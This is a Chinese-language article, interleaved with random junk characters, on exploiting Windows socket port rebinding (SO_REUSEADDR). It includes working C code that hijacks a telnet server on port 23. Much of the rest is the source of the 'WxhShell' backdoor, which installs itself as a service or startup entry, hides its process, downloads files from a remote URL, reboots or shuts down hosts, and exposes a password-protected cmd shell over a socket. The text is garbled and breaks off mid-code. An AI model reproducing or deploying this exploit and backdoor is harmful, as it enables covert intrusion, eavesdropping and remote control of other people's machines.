在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
EI_ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
1Ab>4UhD uiJS8(Cb saddr.sin_family = AF_INET;
Si_%Rr&jW $/=nU*pd saddr.sin_addr.s_addr = htonl(INADDR_ANY);
@+9<O0 (9<guv bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
:um|nRwy9 yaG= j 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
IkrF/$r \3'9Uz,OC 这意味着什么?意味着可以进行如下的攻击:
H ,+?
t &}?$i7x5 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
3&6#F"7 FBpH21|/y 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
INkD=tX ?p(/_@ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
rAs,X LJOr!rWi 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
G7)Fk%> #% of;mJv 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
e.@uhB. s/7 A7![ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
mcn 2Wt *P 3V 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
)13dn]o=2
@BrMl%gV #include
2*N_5&9mE #include
^S)cjH`P #include
>~`r:0', #include
Q}!mx7b0] DWORD WINAPI ClientThread(LPVOID lpParam);
>[Ye int main()
>IX/<
{);M {
.[Ap=UYI> WORD wVersionRequested;
Kh4$ wwn DWORD ret;
n @?4b8" WSADATA wsaData;
NTS#sgP BOOL val;
?UK|>9y}Z SOCKADDR_IN saddr;
=xsTDjH> SOCKADDR_IN scaddr;
<`jLY)sw int err;
@&]#uRl|[ SOCKET s;
0]D{Va SOCKET sc;
6<N5_1 int caddsize;
Dk+&X-]6x5 HANDLE mt;
Q 2A7mGN DWORD tid;
@ JvPx 0 wVersionRequested = MAKEWORD( 2, 2 );
&AlJ "N| err = WSAStartup( wVersionRequested, &wsaData );
"wlt> SU if ( err != 0 ) {
t=*@yQ
nB printf("error!WSAStartup failed!\n");
U,+[5sbo return -1;
,R$u?c0>'& }
PG8^.)]M saddr.sin_family = AF_INET;
#-8\JEn R(-<BtM!- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
e5.h ? Yp0/Ab(v saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
FSRm| saddr.sin_port = htons(23);
(YY~{W$w( if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
cgb2K$B_" {
sP-^~ pp printf("error!socket failed!\n");
w=|GJ0 return -1;
%lX%8Z$v }
=CL}
$_ val = TRUE;
s;1]tD //SO_REUSEADDR选项就是可以实现端口重绑定的
p-%|P]& if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
xr7+$:>a {
h(qQsxIOhS printf("error!setsockopt failed!\n");
?88`fJ@tk? return -1;
&QG6!`fK}3 }
.))v0 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
XX1Il;1G# //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
AW#<i_Ybf //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
c*`>9mv zE)~0v4 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
,*]d~Y {
1xU3#b&2tC ret=GetLastError();
+fx8muz:y printf("error!bind failed!\n");
k'$!(*]\b return -1;
R.LL#u}; }
l88A=iLgv listen(s,2);
U$H@ jJ* while(1)
5/gDK+%4D( {
;f,c't@w caddsize = sizeof(scaddr);
IScRsxFb //接受连接请求
=&!HwOnp sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
<!pQ if(sc!=INVALID_SOCKET)
mR8W]'gl.L {
>K# ,cxY mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
n,~;x@=5 if(mt==NULL)
"xAWG$b {
Z+pom7A"E printf("Thread Creat Failed!\n");
\<vNVz7.D break;
dr{y0`CCN }
ES<{4<Kpx }
fWF|,A>>b CloseHandle(mt);
O+=vEp( }
qn"D#K'&( closesocket(s);
Pv<FLo%u< WSACleanup();
V@d)?T return 0;
0)Rw|(Fpo] }
#Fu>|2F| DWORD WINAPI ClientThread(LPVOID lpParam)
y[O-pD` {
kCUT ^ SOCKET ss = (SOCKET)lpParam;
Aa?I8sbc SOCKET sc;
XYx6V unsigned char buf[4096];
ED$DSz)x SOCKADDR_IN saddr;
WxbsD S; long num;
Gjz[1d DWORD val;
zH=!*[d8 DWORD ret;
O3n_N6| q //如果是隐藏端口应用的话,可以在此处加一些判断
K?#]("De6 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
NYABmI/0c saddr.sin_family = AF_INET;
+:6Ii9GN saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
>EXb|vw
saddr.sin_port = htons(23);
&~B5.sppnB if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
.BO< {
%Y4e9T". printf("error!socket failed!\n");
%HtuR2#ca return -1;
:f'&z47 }
:9l51oE7 val = 100;
7.<^j[? if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Aox3s? {
2aw&F Z? ret = GetLastError();
(I{
$kB"p return -1;
tPHS98y }
7s'- +~ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|'HLz=5\ {
Jx-wO/ ret = GetLastError();
AyE\fY5 return -1;
<64HveJ }
]*%+H|l if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
F.q|x|9j {
!- ~X?s~L printf("error!socket connect failed!\n");
w#G2-?aj closesocket(sc);
Z&!!]"I closesocket(ss);
"oc$ return -1;
!)Ni dG }
Uhh
l3%p while(1)
ySdN;d:q {
E\)eu1Hw4B //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
SKXBrD=- //如果是嗅探内容的话,可以再此处进行内容分析和记录
Y'"N"$n'_ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
MWWu@SY num = recv(ss,buf,4096,0);
9$d.P6|d> if(num>0)
j033%p+Xc send(sc,buf,num,0);
S;@ay/*~ else if(num==0)
#I\Y=XCY break;
8KjRCm,I num = recv(sc,buf,4096,0);
rjojG59U> if(num>0)
:iY$82wQ send(ss,buf,num,0);
(wt+`_6 else if(num==0)
6p<`h^ break;
M^SuV }
A| x:UQlu closesocket(ss);
)3E,D~1e% closesocket(sc);
k&s; {|! return 0 ;
o$_93<zc }
y8s=\`~PR -wr(vE, SN]LeXesS ==========================================================
z-u?s`k** p!"(s/= 下边附上一个代码,,WXhSHELL
;El <%{( 13f<0wg ==========================================================
.)PqN s: aw$Y`6,S #include "stdafx.h"
INNAYQ ^Vo"fI`=C #include <stdio.h>
(r F?If #include <string.h>
;) pl{_ #include <windows.h>
.H;B=nd* #include <winsock2.h>
Pz~q%J #include <winsvc.h>
T_ ^C#> #include <urlmon.h>
h[U7!aM O~'FR[J #pragma comment (lib, "Ws2_32.lib")
G(OFr2M #pragma comment (lib, "urlmon.lib")
k=uZ=tUft* 6"%qv`.Fp #define MAX_USER 100 // 最大客户端连接数
1_3?R}$Wl #define BUF_SOCK 200 // sock buffer
1X:&*a"5 #define KEY_BUFF 255 // 输入 buffer
{%7<" M_&4]\PkCy #define REBOOT 0 // 重启
>h7$v~nra #define SHUTDOWN 1 // 关机
?aJ6ug pG28M]\ #define DEF_PORT 5000 // 监听端口
S:Xs'0K_ 3j&B(aLy #define REG_LEN 16 // 注册表键长度
U"x~Jb3]O #define SVC_LEN 80 // NT服务名长度
Wm>b3: d pn3 ( // 从dll定义API
ak2dn]]D typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
1f;or_f#k? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
E\!n49 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
5B|,S1b typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
#~e9h9 (6-y+LG // wxhshell配置信息
|Mlh; struct WSCFG {
DPeVKyjU int ws_port; // 监听端口
9l l|JeNi char ws_passstr[REG_LEN]; // 口令
~,Mr0 int ws_autoins; // 安装标记, 1=yes 0=no
5G oK"F0i char ws_regname[REG_LEN]; // 注册表键名
u\w 2S4c char ws_svcname[REG_LEN]; // 服务名
*[
#*n n char ws_svcdisp[SVC_LEN]; // 服务显示名
O\JD, w char ws_svcdesc[SVC_LEN]; // 服务描述信息
^Fvr
f`A' char ws_passmsg[SVC_LEN]; // 密码输入提示信息
6`W|V+6|7 int ws_downexe; // 下载执行标记, 1=yes 0=no
\CwtX(6. char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
oek #^:pF char ws_filenam[SVC_LEN]; // 下载后保存的文件名
-fQX4'3R V^vLN[8_\ };
?&\h;11T #nbn K // default Wxhshell configuration
|Cq8% struct WSCFG wscfg={DEF_PORT,
q xSs
~Qc "xuhuanlingzhe",
p_gA/. v= 1,
_f66>a< "Wxhshell",
i\vpGlx "Wxhshell",
26}u4W$ "WxhShell Service",
BDp:9yau "Wrsky Windows CmdShell Service",
W/a,.M "Please Input Your Password: ",
6~3jn+K$1 1,
mCK],TOA: "
http://www.wrsky.com/wxhshell.exe",
l\Cu1r-z "Wxhshell.exe"
q
/:T1a7! };
>F~ITk5`Oo <oZ(n g@X // 消息定义模块
cp|:8 [ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
XUf7yD char *msg_ws_prompt="\n\r? for help\n\r#>";
^+URv char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
!6{Jq] char *msg_ws_ext="\n\rExit.";
IQ=CNby: char *msg_ws_end="\n\rQuit.";
YV4
:8At1 char *msg_ws_boot="\n\rReboot...";
U(P:J e char *msg_ws_poff="\n\rShutdown...";
yW{mK char *msg_ws_down="\n\rSave to ";
zF=#6 Fdr*xHx$P char *msg_ws_err="\n\rErr!";
c,.0d char *msg_ws_ok="\n\rOK!";
,}n=Z $\0TD7p char ExeFile[MAX_PATH];
2c"/QT int nUser = 0;
@|E;}:?u HANDLE handles[MAX_USER];
t[/\KG8 int OsIsNt;
{[my"n2 87+.pM|t% SERVICE_STATUS serviceStatus;
"-28[a3q SERVICE_STATUS_HANDLE hServiceStatusHandle;
J-b~4 %-\FVKX // 函数声明
IN<:P int Install(void);
^4RO int Uninstall(void);
j/~VP2R` int DownloadFile(char *sURL, SOCKET wsh);
?<Z)*CF) int Boot(int flag);
Bl=nj.g void HideProc(void);
v^<<[I2 C int GetOsVer(void);
]"C| qR* int Wxhshell(SOCKET wsl);
23)F-.C}j void TalkWithClient(void *cs);
}!eF
int CmdShell(SOCKET sock);
H U:1f)aa int StartFromService(void);
sWp{Y. int StartWxhshell(LPSTR lpCmdLine);
qK{|Q =VCi8jDkP VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
jkZ_c! VOID WINAPI NTServiceHandler( DWORD fdwControl );
&"sX^6t ,\BfmC_i // 数据结构和表定义
^xzE^"G6 SERVICE_TABLE_ENTRY DispatchTable[] =
jM6uT'Io {
qK<aZ%V {wscfg.ws_svcname, NTServiceMain},
#"=%b
e3 {NULL, NULL}
A$%@fO.b };
5JO[+> Fsnw3/Nr // 自我安装
eL>K2Jxq int Install(void)
2qt=jz\s {
|3s.;wK char svExeFile[MAX_PATH];
#&;m<% HKEY key;
tVC@6Z$ strcpy(svExeFile,ExeFile);
['/;'NhdlY bv .EM // 如果是win9x系统,修改注册表设为自启动
THrc
H if(!OsIsNt) {
NvXj6U*% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
j:3A;r\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
PpX{+^z-% RegCloseKey(key);
;m-6.AV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!O 0ZD4/{4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\DG(
8l RegCloseKey(key);
Se!gs> return 0;
{Bav$kw;?e }
*O"%tp6 }
daaga}]d }
v 1`bDS?*Q else {
Z\ "Kd TKj/6Jz| // 如果是NT以上系统,安装为系统服务
@t{{Q1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
m]+X}| if (schSCManager!=0)
&6|6J1c8 {
Y?"v2~;3 SC_HANDLE schService = CreateService
eukX#0/^ (
Mqrt-VPh schSCManager,
5#9`ROT9 wscfg.ws_svcname,
I v 80,hW wscfg.ws_svcdisp,
Qs#9X=6e@ SERVICE_ALL_ACCESS,
mSVX4XW< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
=RCfibT!C SERVICE_AUTO_START,
e8WPV SERVICE_ERROR_NORMAL,
r9p?@P\:[ svExeFile,
bTA14&&q NULL,
oT9XJwqnv NULL,
Mt7X<?GZm NULL,
,d/CU NULL,
yKX:Z4I/ NULL
[4V|UvKz );
'tq\<y if (schService!=0)
;DT"S{"7 {
V!yp@%D CloseServiceHandle(schService);
<uWJ>sg^6 CloseServiceHandle(schSCManager);
)VSGqYr# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
a8lo!e9q strcat(svExeFile,wscfg.ws_svcname);
Px^<2Q%Fs if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
DcFV^8O& RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
S%a}ip& RegCloseKey(key);
.PA?N{z return 0;
!T&u2=`D }
f6/\JVi)- }
6832N3= CloseServiceHandle(schSCManager);
Vt$ $ceu }
!Cv<>_N). }
Bt`r6v;\ :">~(Rd ZH return 1;
Si%Eimiq }
CO6XIgTe 1nX68fS.9 // 自我卸载
:u|UVp5 int Uninstall(void)
,M9hb<:m {
# 8-P HKEY key;
l*V72!Mv JqH.QnKcv if(!OsIsNt) {
z;@S_0M,Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
a7 '\* RegDeleteValue(key,wscfg.ws_regname);
YRT}fd>R& RegCloseKey(key);
(HP={MrV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
a}+_Yo(Q RegDeleteValue(key,wscfg.ws_regname);
nG(|7x RegCloseKey(key);
5D q{"@E return 0;
b "AHw?5F }
fSb@7L }
h^3Vd K, }
RWEgUDX^/ else {
h hNFp 7C6BZ$( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
LnACce
?b if (schSCManager!=0)
70 DQ/b {
vA $BBXX SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
<i`K%+<WO if (schService!=0)
3ks| {
,\">o vV33 if(DeleteService(schService)!=0) {
tZ6v@W CloseServiceHandle(schService);
}Q,C;!'" CloseServiceHandle(schSCManager);
ZpP6Q return 0;
JO;`Kz_$ }
_M[[o5{ CloseServiceHandle(schService);
085 ^!AZ }
aG&kl O>m CloseServiceHandle(schSCManager);
]&%X(jWyn }
k@X
As }
CX@HG)l 'G
By^hj? return 1;
m+JGe5fR< }
Zi '8~iEH n$VPh/ // 从指定url下载文件
?%TM7Z4 int DownloadFile(char *sURL, SOCKET wsh)
1F%*k &R {
jZgnt{ HRESULT hr;
ny;)+v?mN\ char seps[]= "/";
ZJ'H y5? char *token;
' [M2Q"X char *file;
P)
0=@{( char myURL[MAX_PATH];
S+=@d\S}" char myFILE[MAX_PATH];
AI`1N%Owi v6(l#,
strcpy(myURL,sURL);
vnT
token=strtok(myURL,seps);
vVRCM while(token!=NULL)
XsCbJ[Z_?q {
j;c^pLUP file=token;
HGMH
g token=strtok(NULL,seps);
dtXJ<1: }
&Fr68HNmj )=y6s^} GetCurrentDirectory(MAX_PATH,myFILE);
8J@OMW&[l strcat(myFILE, "\\");
mr\L q~*c strcat(myFILE, file);
)Syf5I send(wsh,myFILE,strlen(myFILE),0);
fae yk]u send(wsh,"...",3,0);
C)dYAq3,8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Z#t.wWSq if(hr==S_OK)
`SpS?mWA return 0;
h1d0{ else
bGLp0\0[ return 1;
Nv#, s_hG 6>^k9cJp }
<JuJ`t ed2&9E>9b // 系统电源模块
mqxy(zS] int Boot(int flag)
8?R_O}U {
vWga>IGM HANDLE hToken;
\Xp"I5 TOKEN_PRIVILEGES tkp;
tUnVdh6L.B DccsVR`7 if(OsIsNt) {
Oc=PJf%D# OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Z0@ImhejuB LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
jiD8|%}v tkp.PrivilegeCount = 1;
)4C6+63OD& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ZOsn,nF AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
S :|*wB if(flag==REBOOT) {
Q2PwO;E.`C if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
`h]f( return 0;
YCdxU1V }
x/^zNO\1 else {
(!=aRC.- if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
pZn%g]nRD return 0;
&1Iy9&y }
IH}L1i A) }
xz'd5 re% else {
6S&YL if(flag==REBOOT) {
{bEEQCweNJ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
vGDo?X~#o return 0;
<us{4% }
1r4/McB else {
B\yq%m if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
U]$3NIe return 0;
hdb4E|'A }
c^k.
<EA }
#{1fb%L{i _
RYZyw
return 1;
/ep~/#Ia }
Uc2#so$9 u&bU !ZI // win9x进程隐藏模块
{xH@8T$DX void HideProc(void)
7F~+z7(h {
*@^0xz{\z S#dS5OX HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
S\(_"xJPp if ( hKernel != NULL )
E(#2/E6 {
.IU+4ENSy4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
:P~Owz ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
X;tk\Ixd FreeLibrary(hKernel);
iI7~9SCE }
PMcyQ2R-> m6D4J=59 return;
Qt 2hb }
f_8~b0` |zKcL3* // 获取操作系统版本
W{d/m;<@N int GetOsVer(void)
;*p}~#2 {
sP%.o7&n OSVERSIONINFO winfo;
Dl{Pd`D winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
}p~%GA.=98 GetVersionEx(&winfo);
w0iEx1i if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
KMZ`Wn= return 1;
DP_ \%(A else
ix;8S=eP~{ return 0;
QR4o j }
6s;x@g] p20Nk$. // 客户端句柄模块
;f
Gi5=- int Wxhshell(SOCKET wsl)
XJ9>a-{ {
.anL}OA_q SOCKET wsh;
Ai;Pht9qi struct sockaddr_in client;
C'ZU .Y
DWORD myID;
z~qQ@u| $.Ni'U while(nUser<MAX_USER)
=[kv@p {
*O~D lf int nSize=sizeof(client);
x/~M=][tN wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
9EEHLx" if(wsh==INVALID_SOCKET) return 1;
}O/Nn0, U!4 ^; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
V.J%4&^X if(handles[nUser]==0)
F+GQ l closesocket(wsh);
C;` fOCz^ else
9YKEME+: nUser++;
sdLFBiR }
~X/T6(n$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
TR |; /yJ ;
OsN^ return 0;
l< Y x }
@cON"( MEu-lM7v // 关闭 socket
aozk,{9- void CloseIt(SOCKET wsh)
y$WS;# {
X^ovP'c2 closesocket(wsh);
ep5aBrN]" nUser--;
rTH@PDk>) ExitThread(0);
z,)Fvs4U. }
;.Kzc3yz} MmX42;Pw // 客户端请求句柄
3]'3{@{}H void TalkWithClient(void *cs)
^JTfRZ:a {
&+\wYa, `F)Iv:;y, SOCKET wsh=(SOCKET)cs;
QwhPN'U char pwd[SVC_LEN];
n}l Z char cmd[KEY_BUFF];
ZrTq)BZ char chr[1];
Z5\6ca int i,j;
;j$84o{ ,GK>|gNsb while (nUser < MAX_USER) {
|A2.W8`o 6c2fqAF>i if(wscfg.ws_passstr) {
*
08LW|:, if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
!o`al` q' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
RKe19l_V //ZeroMemory(pwd,KEY_BUFF);
zmdOL9"a
i=0;
H:|yu while(i<SVC_LEN) {
Qwb@3{ hJ|z8Sy@1 // 设置超时
A3Su&0uaB fd_set FdRead;
y"2c; *7[{ struct timeval TimeOut;
MFC= oKD FD_ZERO(&FdRead);
8}U/fQ~ FD_SET(wsh,&FdRead);
a(m#GES TimeOut.tv_sec=8;
IRpCbTIXK TimeOut.tv_usec=0;
_8bqk\m+ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
* 6uiOtH if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
&B))3WFy tvd/Y|bV= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
blLX ncyD pwd
=chr[0]; y_\d[
if(chr[0]==0xd || chr[0]==0xa) { sUg7
pwd=0; [x@iqFO9
break; d@C93VYp
} f5'+F-`N
i++; jML}{>Gy8S
} wt-)5f'{
6n>+cX>E
// 如果是非法用户,关闭 socket S:Hg
=|R
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <}|+2f233+
} $[IuEdc/
eQMY3/#
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T,k`WR
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S]k<Ixvf
`2GHB@S"k
while(1) { X.g1
312~
v\Q${6kEtx
ZeroMemory(cmd,KEY_BUFF); Qp{{OjD
N'TL &]
// 自动支持客户端 telnet标准 <
=sO@0(<
j=0; >i=mw5`D]
while(j<KEY_BUFF) { )bqO}_B
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B1 'Ds
cmd[j]=chr[0]; mlX^5h'
if(chr[0]==0xa || chr[0]==0xd) { zxXm9zrLo
cmd[j]=0; CmM K\R.
break; `ez_
{
} ~fEgrF d
j++; 9FK%"s`
} Xn4U!<RT"
~p^6
// 下载文件 CsXIq.9
if(strstr(cmd,"http://")) { &Zd!|u
send(wsh,msg_ws_down,strlen(msg_ws_down),0); sFMSH:5z
if(DownloadFile(cmd,wsh)) =fEn h'KE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tyNT1F{
else ~gmj/PQ0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a//<S?d$:
} Beqzw0
else { d_]zX;_
&")ON[|b
switch(cmd[0]) { P;{f+I|`
Az{Z=:(0
// 帮助 DhYQ>Gv8U
case '?': { 44b;]htv
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >d&B:
break; |-%[Z
} V`m'r+ Y
// 安装 iO~3rWQ
case 'i': { ]^$3S
if(Install()) V)=!pT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TDq(%IW
else =a$7OV.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2r]80sWY
break; 3{O^q/R
} 4[v
%]g`
// 卸载 3o5aB1
case 'r': { uzr(gFd
if(Uninstall()) |VQ17*4ff1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fucG 9B
else h(l4\)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tN&4t
xB
break; #(=8
RA:@
} 7j| ^ZuI+
// 显示 wxhshell 所在路径 bz <f u
case 'p': { '@i0~
char svExeFile[MAX_PATH]; \R\?`8Orz
strcpy(svExeFile,"\n\r"); | vL0}e
strcat(svExeFile,ExeFile); f~
kz=R=
send(wsh,svExeFile,strlen(svExeFile),0); e:D8.h+&}
break; +}[M&D
} lA>^k;+>
// 重启 \"Jgs.
case 'b': { w+($=n~
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f9ux+XQk9
if(Boot(REBOOT)) @)k/t>r(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9K,PT.c
else { yK9:LXhf
closesocket(wsh); &y_Ya%Z3*e
ExitThread(0); Pfi|RTX$'*
} :+#$=4
break; pZHx
} )}w2'(!X8
// 关机 S\5%nz\
case 'd': { b?i5C4=K
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |z1er"zR)
if(Boot(SHUTDOWN)) I(m*%>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lgrD~Y (x
else { [>--U)/
closesocket(wsh); lidVe]>
ExitThread(0); X6 E^5m
} .Nk'yow
break; Z:eB9R#2y
} pNUe|b+P
// 获取shell wH]5VltUT1
case 's': { Z;/QB6|%
CmdShell(wsh); R`
g'WaDk
closesocket(wsh); gug9cmA/Q7
ExitThread(0); gpT~3c;l=
break; UA4="/
} GY`mF1b
// 退出 pTeN[Yu?
case 'x': { ) KvGJo)("
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fM/~k>wl
CloseIt(wsh); !#y_vz9
break; ~#MXhhqB
} 5nV IC3N+1
// 离开 x3AAn,m8
case 'q': { k%D|17I
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Kj53"eW
closesocket(wsh); s,CN<`/>x
WSACleanup(); {"PIS&]tR
exit(1); :_8Nf1B+T
break; i2P:I A|@
} ~Z`Cu~7
} pJdR`A-k|
} ctOBV
9 1.gE*D
// 提示信息 8AVtUU
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WhT5NE9t
} #fx>{ vzH
} DuQW?9^232
v\lKY*@f
return; g@zhhBtQ
} #HDP ha
"T@9#7Obu
// shell模块句柄 =4[
U<opP
int CmdShell(SOCKET sock) 6Vgxfic
{ 'iWDYZ?
STARTUPINFO si; @+{F\SD\
ZeroMemory(&si,sizeof(si)); 8S`
j6
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z'UhJu D5
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r]0>A&,
PROCESS_INFORMATION ProcessInfo; <2af&-EGs
char cmdline[]="cmd"; d`UK mj
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SM8f"H28
return 0; '':MhRb
} ~8&P*oFC
F%f)oq`B
// 自身启动模式 cT5BBR
int StartFromService(void) <0!<T+JQ
{ !k Heslvi
typedef struct */HW]x|?V~
{ ,8.$!Zia
DWORD ExitStatus; Vx{
DWORD PebBaseAddress; #-i#mbZ e
DWORD AffinityMask; 4T]A!
